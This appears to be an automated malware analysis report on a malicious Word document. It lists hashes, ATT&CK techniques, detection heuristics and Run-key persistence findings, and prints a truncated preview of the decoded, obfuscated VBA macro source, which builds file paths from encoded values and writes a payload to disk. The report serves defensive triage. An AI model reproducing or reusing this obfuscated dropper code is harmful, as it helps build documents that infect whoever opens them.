Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d96811de7419a8c…

MALICIOUS

Office (OLE)

810.0 KB Created: 2018-02-14 15:38:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 24e1bd221ba3813ed7b6056136237587 SHA-1: 8d86e25ee414d49cf925d5fd333443e39eebfc8f SHA-256: 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c
204 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro that uses CreateObject to execute code. The script attempts to write to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy, indicating an attempt to establish persistence. The document body's prompt to 'Enable Content' further supports the malicious intent of executing embedded code.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 416292 bytes
SHA-256: 42921fb265bb7597ece5dee9f7113cafb53636d41015fd3c475b1db30398b020
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 470 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit



Public Function aNqT(vTNb As String, LCHW As String)
    Dim ngqY As Object
    Set ngqY = CreateObject(LCHW)
    Dim fYXl As Object
    Dim NqvR As String
    NqvR = ""
    NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(4, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(9, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(160, 205)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(145, 203)))
NqvR = xRyO(NqvR, YVKZ(xmeH(113, 56)))
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(47, 124)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(102, 45)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(32, 74)))
NqvR = xRyO(NqvR, YVKZ(xmeH(66, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(80, 51)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(31, 121)))
NqvR = xRyO(NqvR, YVKZ(xmeH(240, 189)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(9, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(66, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(241, 191)))
NqvR = xRyO(NqvR, YVKZ(xmeH(226, 182)))
NqvR = xRyO(NqvR, YVKZ(xmeH(164, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(228, 141)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(228, 141)))


    Set fYXl = ngqY.CreateTextFile(NqvR, True, True)
    fYXl.Write vTNb
    fYXl.Close
End Function

Public Function kzqZ(vTNb As String)
    Dim GBIB As Object
    Set GBIB = CreateObject(vTNb)
    Dim NqvR As String
    NqvR = ""
    NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(4, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(9, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(160, 205)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(145, 203)))
NqvR = xRyO(NqvR, YVKZ(xmeH(113, 56)))
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(47, 124)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(102, 45)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(113, 56)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(237, 158)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(37, 73)))
NqvR = xRyO(NqvR, YVKZ(xmeH(37, 73)))
NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(31, 121)))
NqvR = xRyO(NqvR, YVKZ(xmeH(241, 191)))
NqvR = xRyO(NqvR, YVKZ(xmeH(226, 182)))
NqvR = xRyO(NqvR, YVKZ(xmeH(164, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(24, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(41, 75)))
NqvR = xRyO(NqvR, YVKZ(xmeH(2
... (truncated)

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